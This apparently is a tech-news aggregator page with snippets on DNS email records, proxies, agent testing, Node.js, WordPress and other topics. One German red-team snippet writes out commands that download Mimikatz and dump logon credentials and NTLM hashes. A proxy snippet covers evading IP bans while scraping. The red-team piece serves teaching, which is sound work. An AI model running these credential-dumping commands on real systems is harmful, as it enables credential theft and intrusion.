AI 资讯
How to Check SPF, DKIM, and DMARC Records in Python
If your app sends email — transactional or marketing — three DNS records decide whether it lands in the inbox or the spam folder: SPF , DKIM , and DMARC . Here's how to look them up and sanity-check them in Python, no third-party API required. Install the one dependency: pip install dnspython SPF: who is allowed to send SPF lives in a TXT record on the domain itself and starts with v=spf1 . import dns.resolver def get_spf ( domain ): for rec in dns . resolver . resolve ( domain , " TXT " ): txt = b "" . join ( rec . strings ). decode () if txt . startswith ( " v=spf1 " ): return txt return None print ( get_spf ( " github.com " )) # v=spf1 ip4:... include:_spf.google.com ~all A quick gotcha worth checking: SPF allows at most 10 DNS-querying mechanisms ( include , a , mx , ptr , exists , redirect ). Go over and receivers return permerror , which quietly breaks authentication: def spf_lookup_count ( spf ): return sum ( spf . count ( m ) for m in ( " include: " , " a: " , " mx: " , " ptr " , " exists: " , " redirect= " )) spf = get_spf ( " example.com " ) if spf and spf_lookup_count ( spf ) > 10 : print ( " ⚠️ SPF exceeds the 10-lookup limit " ) DMARC: the policy that ties it together DMARC is a TXT record on the _dmarc. subdomain and starts with v=DMARC1 . def get_dmarc ( domain ): try : for rec in dns . resolver . resolve ( f " _dmarc. { domain } " , " TXT " ): txt = b "" . join ( rec . strings ). decode () if txt . startswith ( " v=DMARC1 " ): return dict ( kv . strip (). split ( " = " , 1 ) for kv in txt . split ( " ; " ) if " = " in kv ) except dns . resolver . NXDOMAIN : return None print ( get_dmarc ( " github.com " )) # {'v': 'DMARC1', 'p': 'reject', 'rua': 'mailto:...'} The key field is p : none (monitor only), quarantine (spam folder), or reject (bounce). If a domain sends real mail but has p=none , it's not protected against spoofing yet. DKIM: the signature key DKIM is trickier because you need the selector — a label chosen by the sender that lives at SELECT
开发者
Rotating Residential Proxies in Python: requests, Scrapy & Sticky Sessions
When you scrape at any real volume, the bottleneck is rarely your code — it's the target site's rate limiting and IP bans. Rotating residential proxies solve this by routing each request through a different real-user IP. Here's how to wire them into requests and Scrapy in Python, including the sticky-session trick most tutorials skip. The proxy URL format A residential proxy is just an authenticated HTTP/SOCKS endpoint. With a pool gateway, you target a country and control session behavior through the username , not separate endpoints: http://USERNAME_country-us_session-a1b2c3_lifetime-30:PASSWORD@proxy.gproxy.net:1000 country-us — exit country (ISO code) session-a1b2c3 — a sticky-session id; reuse it to keep the same IP , change it to rotate lifetime-30 — how many minutes that session's IP stays fixed Basic request through a rotating proxy import requests USER = " USERNAME " PWD = " PASSWORD " def proxy ( country = " us " , session = None , lifetime = 30 ): tag = f " _country- { country } " if session : tag += f " _session- { session } _lifetime- { lifetime } " url = f " http:// { USER }{ tag } : { PWD } @proxy.gproxy.net:1000 " return { " http " : url , " https " : url } # New IP on every call (no session id): r = requests . get ( " https://api.ipify.org?format=json " , proxies = proxy (), timeout = 30 ) print ( r . json ()[ " ip " ]) Run it in a loop and you'll see a different IP each time — the gateway rotates automatically when no session id is present. Sticky sessions: keep one IP across requests Some flows (login, multi-step checkouts, paginated results behind a cookie) break if your IP changes mid-session. Pin the IP by passing a stable session id: import uuid sess = uuid . uuid4 (). hex [: 8 ] # one id for the whole flow p = proxy ( country = " de " , session = sess , lifetime = 30 ) s = requests . Session () s . proxies . update ( p ) s . get ( " https://example.com/login " ) s . post ( " https://example.com/login " , data = {...}) # same exit IP When you
AI 资讯
Canadian legislator reads out apparent LLM response in floor speech
"Here’s a more natural, flowing version of that section..."
安全
Meta just created a moderation nightmare for its smart glasses
Meta's smart glasses have been a PR headache for the company. Public backlash has been swift, and fierce; people are concerned about the erosion of privacy and expansion of surveillance. Some especially bad actors are using the glasses to film themselves "pranking" random strangers. Women have become unsuspecting social media content for men filming themselves […]
AI 资讯
How to Evaluate MCP Servers Before Installing Them (A Practical Checklist)
The MCP (Model Context Protocol) ecosystem is growing fast. There are now hundreds of MCP servers available — but how do you know which ones are worth installing? After building and evaluating 60+ MCP servers ourselves, we developed a practical checklist that saved us from shipping broken tools. Here's the framework we use. The Problem Most MCP server listings tell you what the server does. Very few tell you how well it does it. You install something that sounds perfect, then discover: It activates on the wrong prompts (false positives) It pulls irrelevant context (retrieval drift) It sounds confident but gives wrong answers (ungrounded reasoning) It never improves from feedback Sound familiar? The 5-Dimension Evaluation Checklist Before installing any MCP server, ask these questions: 1. Trigger Precision Question: Does this server activate when (and only when) it should? Red flags: Overly broad trigger descriptions ("use for anything related to X") No documented activation conditions Activates on common words that appear in unrelated contexts Green flags: Specific, documented trigger scenarios Clear non-activation cases listed Tested against diverse prompts 2. Retrieval Quality Question: Does it pull the right context for the task? Red flags: Returns large chunks without filtering No citation or source tracking Retrieves plausible but outdated information Green flags: Targeted, minimal context retrieval Source attribution for every piece of context Version-aware (knows when data might be stale) 3. Reasoning Grounding Question: Are its conclusions tied to actual data? Red flags: Generates advice without referencing specific inputs Can't explain its reasoning chain Confident answers that contradict its own retrieved context Green flags: Every conclusion references specific evidence Explicitly flags uncertainty Gracefully handles missing information 4. Output Usefulness Question: Does the output actually solve your problem? Red flags: Generic responses that could appl
AI 资讯
Testing Microsoft Agent Framework Applications
This is Part 18 of my series on the Microsoft Agent Framework. You can read the original post over on lukaswalter.dev . In the previous article , we looked at observability for agents. The main idea was to make a run visible as a chain of model calls, tool calls, approvals, and workflow events. Testing starts from the same idea. An agent run is not one answer string. It is a small application flow with several boundaries: user input -> prompt and context -> model request -> model response -> tool selection -> tool arguments -> tool execution -> structured result or final answer -> routing or workflow state If the only test is an end-to-end prompt against a live model, all of those boundaries are mixed together. When the test fails, you do not know whether the problem is the prompt, the model, the tool schema, the router, the workflow, or the real dependency behind the tool. The solution is not to pretend that an LLM is deterministic. The solution is to test each boundary at the level where it is deterministic, then add a smaller number of evaluation-style tests for behavior that genuinely depends on the model. This post covers: fake model clients tool contract tests structured output tests routing tests workflow tests eval-style regression checks The examples use xUnit-style assertions, but the testing approach does not depend on xUnit. The snippets focus on the relevant testing boundary and omit some application-specific factory and workflow setup. Do not start with the live model A live model test is useful. It is also expensive, slow, sometimes flaky, and difficult to diagnose. That makes it a poor replacement for normal unit and integration tests. I use a testing pyramid for agent applications: evals realistic model and user examples application integration tests agent + tools + storage + workflow boundaries deterministic component tests fake model client, tools, schemas, routing The bottom layer should be the largest. It should catch ordinary programming mistak
AI 资讯
# From JavaScript to Node.js: Understanding What Really Happens Behind the Scenes (Part 4.3A.1)
# Module Resolution Algorithm (Part 1): How Node.js Finds the Right Module In the previous article, we explored one of the most fascinating parts of Node.js—the hidden Module Wrapper Function. We learned that every CommonJS module is wrapped inside a function before execution, and we also discovered that require() is not a JavaScript feature. It is provided by the Node.js runtime. But a very important mystery still remains. When we write: const fs = require ( " fs " ); or const math = require ( " ./math " ); how does Node.js know where these modules are located? How does it decide whether "fs" is a built-in module or a file inside your project? Why does require("./math") work even if you don't write .js ? And what happens internally before your code starts executing? The answer lies inside one of Node.js's most important systems: The Module Resolution Algorithm Understanding this algorithm is essential because every Node.js application uses it hundreds or even thousands of times while starting. What is Module Resolution? The word resolution simply means: Finding the actual file represented by the string passed to require() . Suppose you write: require ( " ./math " ); To you, "./math" looks like a file. But for Node.js, it is initially nothing more than a string. "./math" Node cannot execute a string. It needs the real file. So its first job is to answer one question: "Which exact file should I load?" The complete process of converting the string inside require() into an actual file on disk is called Module Resolution . Why Does Node Need a Resolution Algorithm? Imagine a project like this: project/ ├── app.js ├── math.js ├── database.js ├── auth.js └── utils/ ├── logger.js └── helper.js Now look at these statements. require ( " ./math " ); require ( " ./database " ); require ( " ./utils/logger " ); require ( " fs " ); require ( " express " ); All of them look similar. But internally they are completely different. Some point to your own files. Some point to Node's bu
AI 资讯
TikTok’s protection of minors should not be opt-in, warns EU
TikTok has attracted the ire of the European Union over its protection of children who use the video sharing platform. The European Commission announced preliminary findings today under the Digital Services Act (DSA) that offer specific issues to address. The Commission suggests that TikTok should adjust the default settings of minors' "public" accounts so the […]
AI 资讯
Some Kids Will Never Think AI Is Cool
“I think it should stand for artificial idiot,” one 9-year-old says. Here’s why kids of all ages are calling AI “disgusting” and “creepy.”
开发者
Ich habe einen echten Speedtest in Vanilla JS gebaut (mit Cloudflare API)
Ich habe einen echten Speedtest in Vanilla JS gebaut (mit Cloudflare API) Kein npm install. Kein React. Kein 200-MB-node_modules-Ordner. Nur HTML, CSS und ~250 Zeilen JavaScript, die deine echte Internetgeschwindigkeit messen. 👉 Live-Demo: dsl.nevik.de/speedtest Warum noch ein Speedtest? Es gibt Speedtest.net, FAST.com und dutzende andere. Warum also selbst bauen? Drei Gründe: Transparenz: Ich wollte genau verstehen, was gemessen wird – und was nicht. Größe: Die meisten kommerziellen Speedtests laden mehrere MB an Tracking-Scripts. Meiner ist eine einzige HTML-Datei mit eingebettetem JS. Kontrolle: Ich kann das Ergebnis direkt gegen den gebuchten Tarif des Nutzers bewerten und eine fundierte Empfehlung geben. Das Ergebnis ist ein Speedtest, der in unter 50 KB ausgeliefert wird, auf jedem Gerät läuft und echte Messwerte liefert – keine Schätzwerte. Die Architektur: Drei Phasen, drei Messungen Ein guter Speedtest misst drei Dinge: Ping (Latenz): Wie schnell kommt ein Datenpaket hin und zurück? Download: Wie schnell kommen Daten bei dir an? Upload: Wie schnell kommen Daten von dir raus? Für alle drei nutze ich die öffentliche Cloudflare-Speedtest-API , die unter speed.cloudflare.com läuft. Cloudflare betreibt eines der größten Edge-Netzwerke der Welt, hat Server in praktisch jedem Land und – ganz wichtig – erlaubt CORS für diese Endpunkte, sodass wir direkt aus dem Browser heraus messen können. Die zwei Endpunkte, die alles tragen: const CF_DOWN = ' https://speed.cloudflare.com/__down?bytes= ' ; const CF_UP = ' https://speed.cloudflare.com/__up ' ; __down?bytes=N liefert exakt N Bytes zurück. __up nimmt einen POST-Body beliebiger Größe entgegen. Das war's. Kein API-Key, keine Rate-Limits, die für unsere Zwecke relevant wären, keine Kosten. Phase 1: Ping messen (ohne WebSocket) Klassische Speedtests nutzen für den Ping oft WebSockets oder RTCPeerConnection -Tricks. Das ist komplex und fehleranfällig. Mein Ansatz: Wir laden einfach einen winzigen Datenblock (1 KB) fünfma
AI 资讯
Getting ready for WordPress 7.0 — three things to check now: PHP requirements, FSE migration, and editor extensions
Five failure patterns from past WordPress major upgrades ended with the observation that "the same structures will recur in some form in the next major (7.0 or 8.0)." This post applies that pattern knowledge to WordPress 7.0 specifically — not as a list of things that will happen, but as a preparatory checklist for what you can verify now. This sits alongside the seven-item pre-flight checklist from W1 rather than replacing it. Think of it as the 7.0-specific supplement. Item 1 — PHP minimum requirement increase (W3 pattern 3 again) W3’s pattern 3 was "older plugins break with parse errors when the PHP minimum requirement is raised." This pattern repeats on every major upgrade cycle. WordPress 7.0 is expected to follow the same trajectory. Background: PHP 7.4 reached end-of-life from the PHP project in November 2022 (security support ended November 2023) WordPress 6.6 requires PHP 7.2 minimum WordPress 7.0 is expected to raise the minimum to PHP 8.0 or later When this happens, sites running PHP 7.x will encounter plugins and themes that "worked fine before" but break with syntax or fatal errors after the upgrade. The mechanism is the same as past cycles — the plugin hasn’t updated its code to handle PHP 8.x stricter type handling, and the errors surface only at runtime. What you can check now: # Confirm the server’s PHP version php -v # List all plugins with their current version and update status wp plugin list --fields = name,version,update,update_version --format = table # Run a JSON output check — noisy output here means PHP warnings already leaking wp plugin list --format = json The pattern to watch for: plugins with an old "Tested up to" value and no updates in the past year. These are the highest risk candidates for PHP compatibility issues when the minimum requirement moves. The post on PHP 8.2 Deprecated warnings leaking into WP-CLI JSON output covers a related symptom — even when PHP compatibility doesn’t cause a hard break, it can silently corrupt o
科技前沿
For Taylor Swift, Madison Square Garden’s Controversial Cameras Briefly Went Dark
MSG’s sprawling surveillance system can monitor guests down to the second. Its owners made an exception for the pop star’s rehearsal dinner.
AI 资讯
Red Team Basics: Pass-the-Hash & Kerberoasting – So greifen echte Angreifer an
Red Team Basics: Pass-the-Hash & Kerberoasting – So greifen echte Angreifer an „Manche nennen es ein Hack‑Werkzeug, ich nenne es ein Koffer voller Schlüssel.“ – Dieser provokante Gedanke brachte mich 2019 zum ersten Mal an die Grenze des Pass‑the‑Hash (PtH) . In den folgenden Jahren habe ich unzählige Pentests geleitet und dabei beobachtet, wie schnell ein einzelner Hash ein ganzes Netzwerk öffnet. In diesem Artikel zerlegen wir die beiden Klassiker — Pass‑the‑Hash und Kerberoasting — und zeigen, warum sie in echten Angriffen immer noch die ersten Optionen sind. Wir gehen nicht um den heißen Brei herum: konkrete Befehle, Schritt‑für‑Schritt‑Beispiele und meine persönliche Bewertung nach jedem Abschnitt . Was ist Pass‑the‑Hash? Pass‑the‑Hash ist kein neues Konzept, aber die meisten Defender‑Teams unterschätzen seine Power. Statt ein Passwort zu knacken, übernimmt der Angreifer lediglich den NTLM‑Hash , den das System bereits hat, und authentifiziert sich damit gegenüber anderen Hosts. Beispiel 1 – Mimikatz nutzen, um einen Hash zu extrahieren # Auf dem kompromittierten Windows‑Host type C: \W indows \S ystem32 \c md.exe # Mimikatz herunterladen (nur zu Demonstrationszwecken) Invoke-WebRequest -Uri "https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0/mimikatz_trunk.zip" -OutFile "mimikatz.zip" Expand-Archive mimikatz.zip -DestinationPath . # Im Mimikatz‑Prompt den Hash aus dem Speicher auslesen mimikatz # privilege::debug mimikatz # sekurlsa::logonpasswords Die Ausgabe liefert Zeilen wie: Authentication Id : 0x3e8 (1000) User Name : admin Domain : CORP Logon Server : \DC01 NTLM : 31d6cfe0d16ae931b73c59d7e0c089c0 Der NTLM‑Hash 31d6cfe0… ist jetzt unser Ticket. Bewertung Ich habe das schon in unzähligen Projekten gesehen – sobald ein Administrator-Account auf einem Workstation-Host läuft, ist er ein Goldgräber. Der entscheidende Punkt ist, dass kein Brute‑Force nötig ist. Der Hash ist bereits valide, weil das System ihn selbst ausgibt. Kerberoasting verstehen
AI 资讯
Building a Zero-Dependency CSV-to-JSON Converter
Sometimes you export a spreadsheet and the next tool in your pipeline wants JSON instead. Pulling in pandas for that feels like overkill — Python's standard library already has everything needed. Here's a small converter that does it in a handful of lines, no third-party packages required. 1. Reading the CSV csv.DictReader turns each row into a dictionary keyed by the header row automatically — no manual header parsing needed. import csv def read_csv ( csv_path ): with open ( csv_path , newline = "" , encoding = " utf-8 " ) as f : reader = csv . DictReader ( f ) return list ( reader ) Wrapping the result in list() consumes the whole reader up front, which is fine for small-to-medium files and much simpler to reason about than lazily iterating later. 2. Writing the JSON import json def write_json ( rows , json_path ): with open ( json_path , " w " , encoding = " utf-8 " ) as f : json . dump ( rows , f , indent = 2 ) indent=2 keeps the output human-readable, which matters if anyone will actually open the file to sanity-check it. 3. Wiring it together def csv_to_json ( csv_path , json_path ): rows = read_csv ( csv_path ) write_json ( rows , json_path ) return len ( rows ) Returning the row count gives a quick sanity check — if you expected 500 contacts and it says 3, something upstream went wrong before you even open the output file. 4. The full script, start to end import csv import json def read_csv ( csv_path ): with open ( csv_path , newline = "" , encoding = " utf-8 " ) as f : reader = csv . DictReader ( f ) return list ( reader ) def write_json ( rows , json_path ): with open ( json_path , " w " , encoding = " utf-8 " ) as f : json . dump ( rows , f , indent = 2 ) def csv_to_json ( csv_path , json_path ): rows = read_csv ( csv_path ) write_json ( rows , json_path ) return len ( rows ) if __name__ == " __main__ " : count = csv_to_json ( " contacts.csv " , " contacts.json " ) print ( f " Converted { count } rows -> contacts.json " ) 5. Trying it out Given a contact
AI 资讯
QGIS: l'extension Universal xy converter qui convertit vos coordonnées en une seconde
Universal XY Converter est un plugin QGIS pratique qui simplifie la conversion, la manipulation et le traitement rapide de coordonnées géographiques et projetées directement au sein de votre environnement de travail. 🎥 Tutoriel vidéo Découvrez la prise en main pas à pas en vidéo : 📖 Documentation complète Consultez le manuel d'utilisation officiel sur GitHub : 👉 User Manual - QGIS Plugin Universal XY Converter 🌟 Fonctionnalités clés Conversion rapide de coordonnées : Transformez facilement des paires de coordonnées (X, Y) entre différents systèmes de référence spatiales (CRS). Import & Traitement par lot : Prise en charge fluide de listes de points pour accélérer le traitement de vos relevés de terrain. Gain de temps au quotidien : Évite les manipulations manuelles complexes ou l'utilisation d'outils externes pour vérifier et convertir vos données de géolocalisation. 🚀 Comment les installer et démarrer ? Ouvrez QGIS . Allez dans le menu Extensions > Installer/Gérer les extensions . Dans la barre de recherche, tapez XY Converter (ou Universal Map2web ). Sélectionnez l'extension puis cliquez sur Installer l'extension . 💬 Vos retours m'intéressent ! Avez-vous testé ces outils ? N'hésitez pas à laisser un commentaire ci-dessous avec vos retours, vos questions ou vos idées d'amélioration !
AI 资讯
How to Detect Event Loop Freezes in Node.js
You've probably seen this: Kubernetes probes are green, /health returns 200, CPU isn't on fire - and users are timing out. Process is up. Just not doing anything useful. Classic event loop freeze. Something sync and expensive (or a dumb busy loop) grabs the thread, and suddenly timers, HTTP, DB callbacks - all of it waits. Including your health endpoint, because that also needs the loop. monitorEventLoopDelay() is fine for dashboards. It won't yell at you while the process is stuck, and it definitely won't write a log line from outside the frozen loop. That's the part that annoyed me enough to build this. I made @js-ak/watchdog - tiny N-API addon. The monitor runs in C++ on its own thread and writes JSON lines to stderr/file even while the JS event loop is stuck. Your freeze / recovered handlers only run after the loop unblocks. Optional RSS/CPU, optional stack sample. npm install @js-ak/watchdog const watchdog = require("@js-ak/watchdog"); watchdog.on("freeze", (e) => console.log(e.event, e.duration_ms)); watchdog.on("recovered", (e) => console.log("back after", e.duration_ms, "ms")); watchdog.start({ freezeThresholdMs: 1000, logTarget: "stderr", // or "file" | "both" source: "payments-api", }); Real freezes usually aren't while (true) . More like giant JSON.parse, a cursed regex, sync crypto/compress, or some dependency doing sync I/O on a hot path. Stuff you only notice after people complain. Prebuilds for the usual platforms (Node 22+). MIT. Repo: https://github.com/JS-AK/watchdog Curious how other people catch loop stalls in prod - and what you'd actually want in the freeze payload. Roast the API if it's wrong.
开源项目
Intoducing EasyInvoicePDF - a Free and Open-Source Invoice Generator
Hi! I built EasyInvoicePDF because I was tired of paying for bloated invoicing tools when all I needed was a simple way to generate and send professional invoices. https://easyinvoicepdf.com https://github.com/VladSez/easy-invoice-pdf Features: No sign-up required & no ads Live PDF preview & instant download Save Seller & Buyer Profiles Flexible tax support (VAT, Sales Tax, etc.) Customizable invoice templates 120+ currencies & multi-language support and more… All feedback, questions, bug reports, and feature ideas are welcome! Demo:
科技前沿
‘The Child Is Terrified’: Measles Doctors Speak Out
Hear from six pediatricians in measles hot spot Utah, as the US faces infection levels not seen in over three decades and prepares to lose its status as a country that eliminated the dangerous disease.
AI 资讯
Run Python Bots Without Sleep On Render With StayPresent
Deploy Python Bots on Render Without Sleep Using StayPresent Render is one of the most popular free hosting platforms for small Python projects, but it comes with a well-known catch: free-tier web services spin down after a period of inactivity and require a fresh incoming request to wake back up. For a render python bot — a Discord bot, Telegram bot, or scraper — that "wake up" delay can mean minutes of downtime every time the service goes idle. This guide covers exactly how Render's sleep behavior works, and how to eliminate it using StayPresent . Table of Contents Understanding Render's Free Tier Why HTTP Port Requirements Matter Setting Up StayPresent for Render Health Checks Explained Self-Ping to Avoid Idle Sleep Crash Recovery on Render Full Working Example Best Practices Common Mistakes FAQs Conclusion Understanding Render's Free Tier Render's free web services sleep after roughly 15 minutes without incoming HTTP traffic. Once asleep, the next request has to spin the container back up before it responds, so real users (or a bot's own polling loop) experience a delay. Render also expects your web service to bind to a port it provides via the PORT environment variable — if nothing is listening there, Render's own health checks will consider the deploy unhealthy. [Render Health Check] --HTTP GET--> [Your Service on $PORT] | No response = unhealthy Why HTTP Port Requirements Matter A typical Telegram or Discord bot doesn't open an HTTP port — it just connects outward to Telegram's or Discord's API and waits for events. That's perfectly normal bot behavior, but it fails Render's expectations for a web service. The fix isn't to change how your bot works; it's to run a small HTTP server next to it, purely so Render has something to check. Setting Up StayPresent for Render Install the production extra so Waitress serves the app instead of Flask's development server: pip install staypresent[prod] Then in your entry point (commonly main.py ): import os import staypres
AI 资讯
Character consistency isn't a seed trick: a 2-stage image pipeline that actually locks the face
If you're building an app that generates the same character across many scenes, you've probably hit the wall already: seeds drift, LoRA training is heavy and slow, and "same character, new pose" prompting quietly changes the face. The approach that actually holds up in production is a 2-stage pipeline — generate one canonical base image , then edit from that base as the reference for every new scene. Consistency comes from the reference, not the seed. Below: why the common approaches drift, how the 2-stage pipeline works, the async job queue that makes it deployable, and the serverless-GPU setup that keeps it affordable. There's a free, runnable slice of the whole transport layer at the end. Why the obvious approaches drift Seeds. A seed pins the noise , not the identity . Re-use a seed with the same prompt and you get the same image — but that's reproduction, not consistency. The moment you change the prompt ("now she's in a café"), the denoising path changes and the face re-rolls with it. Seeds give you determinism for identical inputs; they give you nothing for new scenes . Prompt-only ("the same woman as before"). The model has no memory. Every generation is a fresh sample from the distribution your words describe. "Same face as last time" isn't in the prompt vocabulary — there is no last time. LoRA per character. This one actually works — that's why everyone suggests it — but look at what it costs in an app context: curate 15–40 images per character, run a training job per character, store and load adapter weights per character, and repeat all of it whenever a user creates someone new. For a personal project, fine. For an app where users create characters on demand, you just signed up to run a training farm. The 2-stage pipeline The fix is embarrassingly direct once you see it: Stage 1 — CAST Stage 2 — RE-SCENE (repeat forever) text-to-image image-edit model "describe character" → base image + "put them in a café" → scene 1 = base image base image + "walking in